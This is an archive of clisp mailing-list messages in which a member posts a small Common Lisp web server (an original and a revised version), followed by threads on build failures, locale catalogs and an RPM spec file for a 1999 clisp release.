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From: donc@compsvcs.com (Don Cohen)
To: clisp-list@lists.sourceforge.net
Subject: [clisp-list] simple webserver running in clisp

Not too long ago someone asked for such a program.
I sent a version that I had modified from on distributed by Franz.
However, at the time it did not run in clisp.  I've now made the
few minor changes needed to run it in clisp, so without further ado:

;; simple web server
;; Copyright Franz Inc., 1997
;; Permission is granted to copy, modify, or use the code
;; in this file freely, provided the copyright notice is preserved.

;; *** modifications by donc marked with ***
#| general directions:

1. Load this file (which in turn requires socket and regexp libraries).

2. Set *webserver-commands* to a list of symbols that are allowed to be
FUNCALLed by the webserver.  These can be in any package, but  
two symbols with the same name in different packages won't work.
(On input only the function name is available, not the package.)

3. Set log-file to the name of a file if you want a log kept.
(To customize the contents see calls to log- below.)

4. Set *server-root* to a pathname of a directory.
The server will only retrieve files below that directory.

5. (start-server :port ...))

As a sample, try 
- (setf *webserver-commands* '(print))
- install the following text in the file <*server-root*>/sample.html
  <FORM METHOD="POST" action="PRINT">
  <br>username:<INPUT TYPE="text" NAME="user">
  <br>password:<INPUT TYPE="password" NAME="pass">
  <br><input type="submit" name="submit" value="try it"></form>
- in your browser type in the url
  http://<your host>:<your port>/sample.html

You should see a form with input fields labeled username and password
and a "try it" button.  When you press the button the data is sent to the
server which calls the print funtion (the action above) on the inputs and
the stream where the answer is expected.  The input arguments are then
printed in your browser.  Now just replace print by a function that does
what you want.

|#

;; This demonstration server works under these versions of Allegro CL:
;;   ACLWin 3.0.1 Lite
;;   ACLWin 3.0.2 Lite
;;   ACLWin 3.0.2 Professional
;;   ACL 4.3 for Unix
;; *** also works for ACL 5.0, 5.0.1
;; *** now also works for clisp

(in-package :user)

#+allegro ;; *** generalize from ACL
(eval-when (compile load eval)
  (require :socket #+aclpc "fsl\\socket.fsl") ; load the socket code
  (require :regexp #+aclpc "fsl\\regexp.fsl") ; load the regular expression matcher
  )

;; All files should be in this directory and below
(defparameter *server-root* (pathname #+aclpc "c:\\tmp\\"
				      #-aclpc "/usr/tmp/web/"))

(defvar *webserver-commands* nil)
;; set this to the list of commands that are allowed

;; *** changed all the format t 's below to log's
(defvar log-file nil)
;; set this to a file name in order to log transactions to that file
(defun log- (&rest args)
  (when log-file
	(with-open-file (log log-file :direction :output
			     :if-does-not-exist :create :if-exists :append)
			(apply 'format log args))))
(defun print-current-time (&optional (stream *standard-output*))
   (multiple-value-bind
    (second minute hour day month year)
    (get-decoded-time)
    (format stream "~@?" "~d/~d/~d ~2,'0d:~2,'0d:~2,'0d"
	    month day year hour minute second)))

(defun start-server (&key (port 8000))
  ;; start the web server running on the given port.
  ;; Note that on unix, ports below 1024 can only be obtained by
  ;; programs running as root.
  ;; The default port number for web browsers is 80, to use any other
  ;; port number in a url you have to put that port number after the
  ;; machine name as in    http://www.foo.com:8000/the/url/I/want
  ;;
  (let ((websocket ;; *** generalize from ACL
	 #+clisp (lisp:socket-server port)
	 #+allegro (socket:make-socket :connect :passive :local-port port)))
    (unwind-protect
	(loop
	 ;; It turns out that all the stream operations can and in
	 ;; practice do generate errors.
	 ;; The practical solution is to put an ignore-errors
	 ;; at a pretty high level.
	  (multiple-value-bind (ignore err) ;; ***
            (ignore-errors	       
              (let ((connection ;; *** generalize from ACL
		     #+clisp (lisp:socket-accept websocket)
		     #+allegro (socket:accept-connection websocket)))
		(unwind-protect
		    (do-command connection
				#'(lambda () (return-from start-server)))
		  (close connection))))
	    (declare (ignore ignore))
	    (when err (log- "~%error : ~A" err))))
      ;; *** generalize from ACL
      (lisp:socket-server-close websocket)
      #+allegro (close websocket))))

(defun do-command (stream exit-fcn)
  ;; Read the command from the web browser and execute it.
  ;; If the command indicates that the web server should go away,
  ;; then funcall the exit-fcn.
  (let ((command (read-line stream nil ""))) ;; got eof ?? ***
    (log- "~%Got command on ~s of ~s" stream command)
    ;;
    ;; A command from the browser is one line containing
    ;; two or three items separated by spaces.
    ;; The first item is the command (get, put, post) and the
    ;; second item is the url.
    ;; The third (and optional) item is the protocol.
    ;; The protocol determines how we must respond to the command.
    ;; If the protocol item is missing we assume http/0.9.  If it is preset
    ;; then we only support http/1.0
    ;;
    ;; For brevity, we use the new regular expression parser to break up the
    ;; command line into items, but this could also be done with
    ;; standard Common Lisp functions.
    ;;
    ;; *** replace regexp with ansi cl code
    (multiple-value-bind (matched whole-match cmd url protocol)
	#+ignore ;; replace with parse-http-command below
	(match-regexp "^\\([^ ]+\\) +\\([^ ]+\\) *\\([a-zA-Z/0-9.]*\\)"
		      command)
	(parse-http-command command)
	(declare (ignore whole-match))
      ;; replace non-ansi if* syntax
      (if matched
	  (cond ((equalp cmd "GET")
		 (log- "~%at ~A get ~s with protocol ~s"
		       (print-current-time nil) url protocol)
		 (when (equal url "/quit")
		   (funcall exit-fcn))
		 (send-file stream url protocol))
		((equalp cmd "POST")
		 (log- "~%at ~A post ~s with protocol~s"
		       (print-current-time nil) url protocol)
		 (post-command url stream))
		(t (send-failure stream
				 (format nil "I can't do command ~s" cmd)
				 protocol)))
	(log- "~%command ~s is not in the right format"
	      command)))
    (finish-output stream) ;; *** added - I don't know if it really matters
    ;; but I was getting clients thinking they had not seen complete files.
    ))

;; *** replacement for above match-regexp
(defun parse-http-command (command)
  (let (cend ustart uend pstart pend)
    (setf cend
      (position #\space command)
      ustart
      (and cend (> cend 0)
	   (position #\space command :start cend :test-not #'eql))
      uend
      (and ustart (position #\space command :start ustart))
      pstart
      (and uend (position #\space command :start uend :test-not #'eql))
      pend
      (and pstart (position-if-not
		   (lambda (c) (or (alphanumericp c) (eql c #\/) (eql c #\.)))
		   command :start pstart)))
    (when ustart
      (values t
	      (subseq command 0 (or pend (and pstart (length command))
				    uend (length command)))
	      (subseq command 0 cend)
	      (subseq command ustart uend)
	      (if pstart (subseq command pstart pend) "")))))
	   

(defun send-file (stream url protocol)
  ;; we've been given a 'get' command.  We now must get the requested
  ;; item and send it to the web browser.
  ;; We're assuming that all items requested are html, gif, jpg, or jpeg.
  ;; We should check that '..' doesn't appear in a directory name
  ;; or a user could use that to navigate out of the *server-root*
  ;; directory and into any directory on the machine.
  (let ((file-location
	 (merge-pathnames (pathname (subseq url 1)) *server-root*)))
    ;; *** replace non-ansi if* syntax
    (if (let ((probe (probe-file file-location)))
	  (or (not probe)
	      ;; *** test that we're under *server-root*
	      (< (length (pathname-directory probe))
		 (length (pathname-directory *server-root*)))
	      (loop for x in (pathname-directory probe)
		  as y in (pathname-directory *server-root*)
		  thereis (not (equal x y)))
	      ;; *** also reject directories, since otherwise open errs
	      (null (pathname-name probe))))
	(send-failure stream
		      (format nil "url ~s doesn't exist" url)
		      protocol)
      (let ((binaryp nil)
	    (type (pathname-type file-location)))
	(cond ((or (string-equal type "jpg")
		   (string-equal type "jpeg"))
	       (setq binaryp t
		     type "image/jpeg"))
	      ((string-equal type "gif")
	       (setq binaryp t
		     type "image/gif"))
	      (t			;html? -- hope for the best
	       (setq type "text/html")))
	(when (equalp protocol "http/1.0")
	  (format stream "HTTP/1.0 200 OK")
	  (endline stream)
	  (format stream "Content-type: ~a" type)
	  (endline stream)
	  (endline stream))
	(with-open-file (f file-location)
	  (loop as ch = (read-char f nil nil)
	      as i from 0 ;; debugging
	      while ch
	      do ;;(write-char ch) ;; debugging
		(when (eq ch #\newline)
		  (unless binaryp
		    (write-char #\return stream)))
		(write-char ch stream)
	      finally (log- "~%~A chars sent" i)  ;; debugging
		      )
	  ;;(sleep 1) ;; debugging
	  )))))

(defun endline (stream)
  ;; most network protocols require that lines end with a
  ;; #\return character followed by a #\newline character
  (write-char #\return stream)
  (write-char #\linefeed stream))

(defun send-failure (stream message protocol)
  ;; something was wrong with the browser's request so send back a
  ;; message
  (when (equalp protocol "http/1.0")
    (format stream "HTTP/1.0 200 OK")
    (endline stream)
    (format stream "Content-type: text/plain")
    (endline stream)
    (endline stream))
  (write-string message stream))

(defun post-command (url stream)
  ;; first we strip off the leading "\" from the url
  ;; then we look up the lisp function corresponding to the remaining string
  (let ((function ;; *** (read-from-string (subseq url 1 (length url)))
	 ;; read-from-string is a really bad security hole
	 ;; find-symbol would be better, but in order to allow
	 ;; functions from different packages I prefer
	 (loop for c in *webserver-commands*
	       with name = (subseq url 1 (length url))
	       thereis (and (equal name (symbol-name c)) c))))
    ;; parse through the header information until we get a blank line
    ;; which separates the data from the header
    (loop until (zerop (length (string-trim '(#\return)
					    (read-line stream nil ""))))) ;***
    ;; Now comes the form input.
    (let ((input (read-line stream nil ""))); ***
      ;; (log- "~%Input is ~s" input)
      (let ((args (parse-form-contents input)))
	(log- "~%Args are ~s" args)
	(if function ;; ***
	    (funcall function args stream)
	  (log- "~%~illegal function - ~A" url))))))

(defun parse-form-contents (contents)
  ;; input values come in the pairs name=value, delimited by & name is a
  ;; "name" specified in the HTML form value is the string input or
  ;; selection by the user on this form special cases like ? and & are
  ;; ignored in this parser.
  ;; return a list of dotted pairs (("name" . "value") ....)
  (loop
      with len = (length contents)
      with start = 0
      for sep = (position #\& contents :start start)
      for end = (or sep len)
      for varend = (position #\= contents :start start)
      for sym = (subseq contents start varend)
      for val = (subseq contents (1+ varend) end)
      collect (cons sym (html-to-ascii val)) ;; ***
      until (null sep)
      do (setq start (1+ sep))))
;; ***
(defun html-to-ascii (string)
  ;; recover the real chars the user sent
  ;; translate + to space and %xx where xx is two hex digits
  ;;  to that character in hex
  (let* ((chars
	  (loop with pos = 0 while (< pos (length string)) collect
		(if (eql (char string pos) #\+)
		    (progn (incf pos) #\space)
		  (if (eql (char string pos) #\%)
		      (prog1 (code-char (parse-integer
					 string :start (+ pos 1)
					 :end (+ pos 3) :radix 16))
			(incf pos 3))
		    (prog1 (char string pos) (incf pos))))))
	 (ans (make-string (length chars))))
    (loop for i from 0 as c in chars do (setf (char ans i) c))
    ans))


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From: donc@compsvcs.com (Don Cohen)
To: clisp-list@lists.sourceforge.net
Subject: [clisp-list] Revised webserver

Two problems found in the last version are fixed here:
- Bruno pointed out a missing #+clisp, which does no harm as long as
you're trying to run it in clisp.
- I discovered that trying to serve binary files (like images) failed
due to errors reading bytes that cannot be converted to characters.

Perhaps if problems continue to show up we can just put a copy in the
ftp2.cons.org/pub/lisp/clisp archive, and then update that and
announce the changes rather than reposting.

================
;; simple web server
;; Copyright Franz Inc., 1997
;; Permission is granted to copy, modify, or use the code
;; in this file freely, provided the copyright notice is preserved.

;; *** modifications by donc marked with ***
#| general directions:

1. Load this file (which in turn requires socket and regexp libraries).

2. Set *webserver-commands* to a list of symbols that are allowed to be
FUNCALLed by the webserver.  These can be in any package, but  
two symbols with the same name in different packages won't work.
(On input only the function name is available, not the package.)

3. Set log-file to the name of a file if you want a log kept.
(To customize the contents see calls to log- below.)

4. Set *server-root* to a pathname of a directory.
The server will only retrieve files below that directory.

5. (start-server :port ...))

As a sample, try 
- (setf *webserver-commands* '(print))
- install the following text in the file <*server-root*>/sample.html
  <FORM METHOD="POST" action="PRINT">
  <br>username:<INPUT TYPE="text" NAME="user">
  <br>password:<INPUT TYPE="password" NAME="pass">
  <br><input type="submit" name="submit" value="try it"></form>
- in your browser type in the url
  http://<your host>:<your port>/sample.html

You should see a form with input fields labeled username and password
and a "try it" button.  When you press the button the data is sent to the
server which calls the print funtion (the action above) on the inputs and
the stream where the answer is expected.  The input arguments are then
printed in your browser.  Now just replace print by a function that does
what you want.

|#

;; This demonstration server works under these versions of Allegro CL:
;;   ACLWin 3.0.1 Lite
;;   ACLWin 3.0.2 Lite
;;   ACLWin 3.0.2 Professional
;;   ACL 4.3 for Unix
;; *** also works for ACL 5.0, 5.0.1
;; *** now also works for clisp

(in-package :user)

#+allegro ;; *** generalize from ACL
(eval-when (compile load eval)
  (require :socket #+aclpc "fsl\\socket.fsl") ; load the socket code
  (require :regexp #+aclpc "fsl\\regexp.fsl") ; load the regular expression matcher
  )

;; All files should be in this directory and below
(defparameter *server-root* (pathname #+aclpc "c:\\tmp\\"
				      #-aclpc "/usr/tmp/web/"))

(defvar *webserver-commands* nil)
;; set this to the list of commands that are allowed

;; *** changed all the format t 's below to log's
(defvar log-file nil)
;; set this to a file name in order to log transactions to that file
(defun log- (&rest args)
  (when log-file
	(with-open-file (log log-file :direction :output
			     :if-does-not-exist :create :if-exists :append)
			(apply 'format log args))))
(defun print-current-time (&optional (stream *standard-output*))
   (multiple-value-bind
    (second minute hour day month year)
    (get-decoded-time)
    (format stream "~@?" "~d/~d/~d ~2,'0d:~2,'0d:~2,'0d"
	    month day year hour minute second)))

(defun start-server (&key (port 8000))
  ;; start the web server running on the given port.
  ;; Note that on unix, ports below 1024 can only be obtained by
  ;; programs running as root.
  ;; The default port number for web browsers is 80, to use any other
  ;; port number in a url you have to put that port number after the
  ;; machine name as in    http://www.foo.com:8000/the/url/I/want
  ;;
  (let ((websocket ;; *** generalize from ACL
	 #+clisp (lisp:socket-server port)
	 #+allegro (socket:make-socket :connect :passive :local-port port)))
    (unwind-protect
	(loop
	 ;; It turns out that all the stream operations can and in
	 ;; practice do generate errors.
	 ;; The practical solution is to put an ignore-errors
	 ;; at a pretty high level.
	  (multiple-value-bind (ignore err) ;; ***
            (ignore-errors	       
              (let ((connection ;; *** generalize from ACL
		     #+clisp (lisp:socket-accept websocket)
		     #+allegro (socket:accept-connection websocket)))
		(unwind-protect
		    (do-command connection
				#'(lambda () (return-from start-server)))
		  (close connection))))
	    (declare (ignore ignore))
	    (when err (log- "~%error : ~A" err))))
      ;; *** generalize from ACL
      #+clisp (lisp:socket-server-close websocket)
      #+allegro (close websocket))))

(defun do-command (stream exit-fcn)
  ;; Read the command from the web browser and execute it.
  ;; If the command indicates that the web server should go away,
  ;; then funcall the exit-fcn.
  (let ((command (read-line stream nil ""))) ;; got eof ?? ***
    (log- "~%Got command on ~s of ~s" stream command)
    ;;
    ;; A command from the browser is one line containing
    ;; two or three items separated by spaces.
    ;; The first item is the command (get, put, post) and the
    ;; second item is the url.
    ;; The third (and optional) item is the protocol.
    ;; The protocol determines how we must respond to the command.
    ;; If the protocol item is missing we assume http/0.9.  If it is preset
    ;; then we only support http/1.0
    ;;
    ;; For brevity, we use the new regular expression parser to break up the
    ;; command line into items, but this could also be done with
    ;; standard Common Lisp functions.
    ;;
    ;; *** replace regexp with ansi cl code
    (multiple-value-bind (matched whole-match cmd url protocol)
	#+ignore ;; replace with parse-http-command below
	(match-regexp "^\\([^ ]+\\) +\\([^ ]+\\) *\\([a-zA-Z/0-9.]*\\)"
		      command)
	(parse-http-command command)
	(declare (ignore whole-match))
      ;; replace non-ansi if* syntax
      (if matched
	  (cond ((equalp cmd "GET")
		 (log- "~%at ~A get ~s with protocol ~s"
		       (print-current-time nil) url protocol)
		 (when (equal url "/quit")
		   (funcall exit-fcn))
		 (send-file stream url protocol))
		((equalp cmd "POST")
		 (log- "~%at ~A post ~s with protocol~s"
		       (print-current-time nil) url protocol)
		 (post-command url stream))
		(t (send-failure stream
				 (format nil "I can't do command ~s" cmd)
				 protocol)))
	(log- "~%command ~s is not in the right format"
	      command)))
    (finish-output stream) ;; *** added - I don't know if it really matters
    ;; but I was getting clients thinking they had not seen complete files.
    ))

;; *** replacement for above match-regexp
(defun parse-http-command (command)
  (let (cend ustart uend pstart pend)
    (setf cend
      (position #\space command)
      ustart
      (and cend (> cend 0)
	   (position #\space command :start cend :test-not #'eql))
      uend
      (and ustart (position #\space command :start ustart))
      pstart
      (and uend (position #\space command :start uend :test-not #'eql))
      pend
      (and pstart (position-if-not
		   (lambda (c) (or (alphanumericp c) (eql c #\/) (eql c #\.)))
		   command :start pstart)))
    (when ustart
      (values t
	      (subseq command 0 (or pend (and pstart (length command))
				    uend (length command)))
	      (subseq command 0 cend)
	      (subseq command ustart uend)
	      (if pstart (subseq command pstart pend) "")))))
	   

(defun send-file (stream url protocol)
  ;; we've been given a 'get' command.  We now must get the requested
  ;; item and send it to the web browser.
  ;; We're assuming that all items requested are html, gif, jpg, or jpeg.
  ;; We should check that '..' doesn't appear in a directory name
  ;; or a user could use that to navigate out of the *server-root*
  ;; directory and into any directory on the machine.
  (let ((file-location
	 (merge-pathnames (pathname (subseq url 1)) *server-root*)))
    ;; *** replace non-ansi if* syntax
    (if (let ((probe (probe-file file-location)))
	  (or (not probe)
	      ;; *** test that we're under *server-root*
	      (< (length (pathname-directory probe))
		 (length (pathname-directory *server-root*)))
	      (loop for x in (pathname-directory probe)
		  as y in (pathname-directory *server-root*)
		  thereis (not (equal x y)))
	      ;; *** also reject directories, since otherwise open errs
	      (null (pathname-name probe))))
	(send-failure stream
		      (format nil "url ~s doesn't exist" url)
		      protocol)
      (let ((binaryp nil)
	    (type (pathname-type file-location)))
	(cond ((or (string-equal type "jpg")
		   (string-equal type "jpeg"))
	       (setq binaryp t
		     type "image/jpeg"))
	      ((string-equal type "gif")
	       (setq binaryp t
		     type "image/gif"))
	      (t			;html? -- hope for the best
	       (setq type "text/html")))
	(when (equalp protocol "http/1.0")
	  (format stream "HTTP/1.0 200 OK")
	  (endline stream)
	  (format stream "Content-type: ~a" type)
	  (endline stream)
	  (endline stream))
	(with-open-file (f file-location ;; *** not all char codes valid
			 #+clisp :element-type #+clisp '(unsigned-byte 8))
	  #+clisp ;; ***
	  (setf (stream-element-type stream) '(unsigned-byte 8))
	  (loop as ch = (#+clisp read-byte #-clisp read-char f nil nil) ;; ***
	      as i from 0 ;; debugging
	      while ch
	      do ;;(write-char ch) ;; debugging
		(when (eq ch #\newline)
		  (unless binaryp
		    (write-char #\return stream)))
		(#+clisp write-byte #-clisp write-char ch stream) ;; ***
	      finally (log- "~%~A chars sent" i)  ;; debugging
		      )
	  ;;(sleep 1) ;; debugging
	  )))))

(defun endline (stream)
  ;; most network protocols require that lines end with a
  ;; #\return character followed by a #\newline character
  (write-char #\return stream)
  (write-char #\linefeed stream))

(defun send-failure (stream message protocol)
  ;; something was wrong with the browser's request so send back a
  ;; message
  (when (equalp protocol "http/1.0")
    (format stream "HTTP/1.0 200 OK")
    (endline stream)
    (format stream "Content-type: text/plain")
    (endline stream)
    (endline stream))
  (write-string message stream))

(defun post-command (url stream)
  ;; first we strip off the leading "\" from the url
  ;; then we look up the lisp function corresponding to the remaining string
  (let ((function ;; *** (read-from-string (subseq url 1 (length url)))
	 ;; read-from-string is a really bad security hole
	 ;; find-symbol would be better, but in order to allow
	 ;; functions from different packages I prefer
	 (loop for c in *webserver-commands*
	       with name = (subseq url 1 (length url))
	       thereis (and (equal name (symbol-name c)) c))))
    ;; parse through the header information until we get a blank line
    ;; which separates the data from the header
    (loop until (zerop (length (string-trim '(#\return)
					    (read-line stream nil ""))))) ;***
    ;; Now comes the form input.
    (let ((input (read-line stream nil ""))); ***
      ;; (log- "~%Input is ~s" input)
      (let ((args (parse-form-contents input)))
	(log- "~%Args are ~s" args)
	(if function ;; ***
	    (funcall function args stream)
	  (log- "~%~illegal function - ~A" url))))))

(defun parse-form-contents (contents)
  ;; input values come in the pairs name=value, delimited by & name is a
  ;; "name" specified in the HTML form value is the string input or
  ;; selection by the user on this form special cases like ? and & are
  ;; ignored in this parser.
  ;; return a list of dotted pairs (("name" . "value") ....)
  (loop
      with len = (length contents)
      with start = 0
      for sep = (position #\& contents :start start)
      for end = (or sep len)
      for varend = (position #\= contents :start start)
      for sym = (subseq contents start varend)
      for val = (subseq contents (1+ varend) end)
      collect (cons sym (html-to-ascii val)) ;; ***
      until (null sep)
      do (setq start (1+ sep))))
;; ***
(defun html-to-ascii (string)
  ;; recover the real chars the user sent
  ;; translate + to space and %xx where xx is two hex digits
  ;;  to that character in hex
  (let* ((chars
	  (loop with pos = 0 while (< pos (length string)) collect
		(if (eql (char string pos) #\+)
		    (progn (incf pos) #\space)
		  (if (eql (char string pos) #\%)
		      (prog1 (code-char (parse-integer
					 string :start (+ pos 1)
					 :end (+ pos 3) :radix 16))
			(incf pos 3))
		    (prog1 (char string pos) (incf pos))))))
	 (ans (make-string (length chars))))
    (loop for i from 0 as c in chars do (setf (char ans i) c))
    ans))



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many functions here can be found in cllib/url.lsp (which is more
client-oriented though)
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Hello,

I'm trying to build a stable version of Clisp (1999.05.15 or 1999.07.22)
pn a RedHat 6.1 machine (kernel 2.2.12, glibc-2.1.2-11)

To do so, I use the ./configure options given in the clisp.spec file:


./configure --prefix=/usr --fsstnd=redhat --with-module=wildcard \
    --with-module=regexp --with-module=bindings/linuxlibc6 \
    --with-module=clx/new-clx --with-module=postgresql642 \
    --with-export-syscalls

then I obtain the following recommendations:

./makemake  --prefix=/usr --fsstnd=redhat --with-module=wildcard
--with-module=regexp --with-module=bindings/linuxlibc6
--with-module=clx/new-clx --with-module=postgresql642
--with-export-syscalls --with-readline --with-gettext --with-dynamic-ffi
> Makefile
make config.lsp
make

Unfortunately it stops the compilation with the following errors:

gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations
-DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -x none modules.o postgresql.o
-lpq -lcrypt clx.o -L/usr/X11R6/lib -lXpm -lXext -lX11 linux.o -lm
regexp.o regexi.o regex.o wildcard.o fnmatch.o lisp.a libsigsegv.a
libintl.a libreadline.a libavcall.a libcallback.a -ltermcap -ldl -o
lisp.run
/usr/bin/ld: cannot open -lpq: No such file or directory
collect2: ld returned 1 exit status
base/lisp.run -M base/lispinit.mem -q -i clx/new-clx/clx-preload.lsp -x
(saveinitmem "full/lispinit.mem")
;; Loading file clx/new-clx/clx-preload.lsp ...
;; Loading of file clx/new-clx/clx-preload.lsp is finished.
795316 ;
524288
full/lisp.run -M full/lispinit.mem -q -i wildcard/wildcard regexp/regexp
bindings/linuxlibc6/linux clx/new-clx/clx clx/new-clx/image
postgresql642/postgresql -x (saveinitmem "full/lispinit.mem")
./clisp-link: full/lisp.run: No such file or directory
make: *** [full] Error 1


I guess I did something wrong in the parameters of ./configure or I need
a package which is not installed on my machine yet (I can provide a list
of the installed package if required) but I don't know what or which
one. Could someone help me to find out what is wrong ?

Thanks in advance

			Daniel

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Daniel Tourde writes:

> ./configure --prefix=/usr --fsstnd=redhat --with-module=wildcard \
>     --with-module=regexp --with-module=bindings/linuxlibc6 \
>     --with-module=clx/new-clx --with-module=postgresql642 \
>     --with-export-syscalls
> ...
> /usr/bin/ld: cannot open -lpq: No such file or directory

Do you have PostgreSQL installed or not? If so, what's the full pathname
of libpq.so?

Bruno




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Bonjour Bruno,

> > ./configure --prefix=/usr --fsstnd=redhat --with-module=wildcard \
> >     --with-module=regexp --with-module=bindings/linuxlibc6 \
> >     --with-module=clx/new-clx --with-module=postgresql642 \
> >     --with-export-syscalls
> > ...
> > /usr/bin/ld: cannot open -lpq: No such file or directory
> 
> Do you have PostgreSQL installed or not? If so, what's the full pathname
> of libpq.so?

Non, je n'ai pas PostgreSQL. Actually I had just ended up to the
conclusion that this should be the origin of the problem. I have
restarted a new compilation without this option.
By the way, what this PostgreSQL is supposed to do ?

Best regards

		Daniel

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Goddag Daniel,

> Non, je n'ai pas PostgreSQL. Actually I had just ended up to the
> conclusion that this should be the origin of the problem. I have
> restarted a new compilation without this option.

Yes, that's it.

Bruno


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Hello,

I have compiled Clisp 1999-07-22 to generate a rpm file. According to
the clisp.spec in the source the installed files are the following:


%files
%dir /usr/lib/clisp/
/usr/lib/clisp/*
/usr/bin/clisp
%dir /usr/doc/%{name}-%{version}/
/usr/doc/%{name}-%{version}/*
/usr/man/man3/clreadline.3
/usr/man/man1/clisp.1
/usr/share/locale/de/LC_MESSAGES/clisp.mo
/usr/share/locale/en/LC_MESSAGES/clisp.mo
/usr/share/locale/es/LC_MESSAGES/clisp.mo
/usr/share/locale/fr/LC_MESSAGES/clisp.mo

However, when I compiled clisp to check if everything was working fine,
none of the /usr/share/local files were present or produced. Am I
suppose to add a particular option in ./configure to get them ?

		Daniel
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Daniel Tourde writes:

> %files
> %dir /usr/lib/clisp/
> /usr/lib/clisp/*
> /usr/bin/clisp
> %dir /usr/doc/%{name}-%{version}/
> /usr/doc/%{name}-%{version}/*
> /usr/man/man3/clreadline.3
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> /usr/share/locale/es/LC_MESSAGES/clisp.mo
> /usr/share/locale/fr/LC_MESSAGES/clisp.mo
> 
> However, when I compiled clisp to check if everything was working fine,
> none of the /usr/share/local files were present or produced. Am I
> suppose to add a particular option in ./configure to get them ?

If you have the LINGUAS environment variable set, this limits the message
catalogs that are installed. For example, if you have set LINGUAS=se,
no catalog will be installed (not even English), because clisp does not
have swedish messages.

In all other cases, it would be a bug either in the install or in the spec
file. Sam?

Bruno


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Bruno Haible wrote:
> 
Hello again

> If you have the LINGUAS environment variable set, this limits the message
> catalogs that are installed. For example, if you have set LINGUAS=se,
> no catalog will be installed (not even English), because clisp does not
> have swedish messages.

Here is what I have, isn't it supposed to be recognized as english en ?

LINGUAS=en_US


> In all other cases, it would be a bug either in the install or in the spec
> file. Sam?


		Daniel

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>>>> In message <3891B2DC.F1236A25@ffa.se>
>>>> On the subject of "[clisp-list] Generated files during a compilation"
>>>> Sent on Fri Jan 28 10:17:51 EST 2000
>>>> Honorable Daniel Tourde <ted@ffa.se> writes:
 >> 
 >> I have compiled Clisp 1999-07-22 to generate a rpm file. According to
 >> the clisp.spec in the source the installed files are the following:
 >> 
 >> %files
 >> %dir /usr/lib/clisp/
 >> /usr/lib/clisp/*
 >> /usr/bin/clisp
 >> %dir /usr/doc/%{name}-%{version}/
 >> /usr/doc/%{name}-%{version}/*
 >> /usr/man/man3/clreadline.3
 >> /usr/man/man1/clisp.1
 >> /usr/share/locale/de/LC_MESSAGES/clisp.mo
 >> /usr/share/locale/en/LC_MESSAGES/clisp.mo
 >> /usr/share/locale/es/LC_MESSAGES/clisp.mo
 >> /usr/share/locale/fr/LC_MESSAGES/clisp.mo
 >> 
 >> However, when I compiled clisp to check if everything was working fine,
 >> none of the /usr/share/local files were present or produced. Am I

/usr/share/local? what's that? :-)

 >> suppose to add a particular option in ./configure to get them ?

/usr/share/locale/* are created by "make install" in the build directory.

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Daniel Tourde writes:

> Here is what I have, isn't it supposed to be recognized as english en ?
> 
> LINGUAS=en_US

That's it. CLISP's catalog is "en", therefore if you want to use install it,
you have to use LINGUAS="en_US en". Setting LINGUAS=en_US it certainly valid.
But it means "I want only American messages, not British English ones".

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>>>>> "Daniel" == Daniel Tourde <ted@ffa.se> writes:

    Daniel> By the way, what this PostgreSQL is supposed to do ?

I haven't tried it, but I would presume this lets you talk to
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Ray


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I just recently attempted to install clisp but I'm running into 
problems with it.  I using Redhat 6.0 (kernel 2.2.5-15) and running 
glibc 2.2.  I first ran make as per the instructions, but when I run 
the next statement in the instructions (base/lisp.run -M 
base/lispinit.mem), I get the following message:


[root@localhost clisp-1999-07-22]#  base/lisp.run -M base/lispinit.mem
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo 
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999


[1]> 
*** - handle_fault error2 ! address = 0x30 not in 
[0x201D7000,0x202787D8) !
SIGSEGV cannot be cured. Fault address = 0x30.
Segmentation fault

I didn't however adjust any of the text strings mentioned in the 
readme because I'm rather new at linux and don't understand exactly 
what I'm supposed to change in the file config.lsp.  If not changing 
the strings in config.lsp is what I'm doing wrong, can someone please 
give a newbie an idea of how to change it (just learning lisp as well 
in school too).  Thanks in advance!

Shannon S. Harvey

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Subject: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1

Hello,

I have just created a rpm for RedHat 6.1 of Clisp-1999.07.22. To do so,
I have used and modified the clisp.spec provided in the source (few
things did not work properly). I have retared the file, renaming the top
directory clisp-1999.07.22 instead of clisp-1999-07-22 (rpm does not
like 1999-07-22 as a version number) and I have build it by placing the
spec file and clisp.gif under /usr/src/redhat/SPECS and the tared gziped
file under /usr/src/redhat/SOURCES.

Then rpm -ba --sign clisp-1999.07.22-2.clisp

Rmq: - I don't use the --with-module=postgresql642 option in ./configure
cause I have not installed PostgreSQL on my machine.
     - Unfortunately, the procedure installs the soft under /usr. To get
rid of this installation "parasite", just go to
/usr/src/redhat/BUILD/clisp-1999.07.22/src and type make uninstall

Then reinstall it by using the rpm file stored under
/usr/src/redhat/RPMS/i386

rpm -Uvh clisp-1999.07.22-2.i386.rpm 

Enjoy !

		Daniel





# Copyright (C) 1998, 1999 by Sam Steingold
# Modified by Daniel Tourde 27/01/2000
# GNU General Public License v.2 (GPL2) is applicable:
# No warranty; you may copy/modify/redistribute under the same
# conditions with the source code. See <URL:http://www.gnu.org>
# for the details and the precise copyright document.

# The purpose of this file is creation of source/binary RPMs, **NOT**
# building/installing CLISP.  If you read the comments below, you will
# learn why.

# to create the source/binary RPMs, do
#  rpm -ba --sign clisp-1999.07.22-2.spec

%define name clisp
%define version 1999.07.22
%define release 2

Summary:      Common Lisp (ANSI CL) implementation
Name:         %{name}
Version:      %{version}
Release:      %{release}
Icon:         clisp.gif
Copyright:    GPL
Group:        Development/Languages
Source:      
ftp://seagull.cdrom.com/pub/lisp/clisp/source/clisp-1999.07.22.tar.gz
URL:          http://clisp.cons.org
Packager:     Red Hat Contrib|Net <rhcn-bugs@redhat.com>
Provides:     clisp, ansi-cl
Distribution: Red Hat Contrib|Net

%description
Common Lisp is a high-level, all-purpose programming language.
CLISP is a Common Lisp implementation by Bruno Haible of Karlsruhe
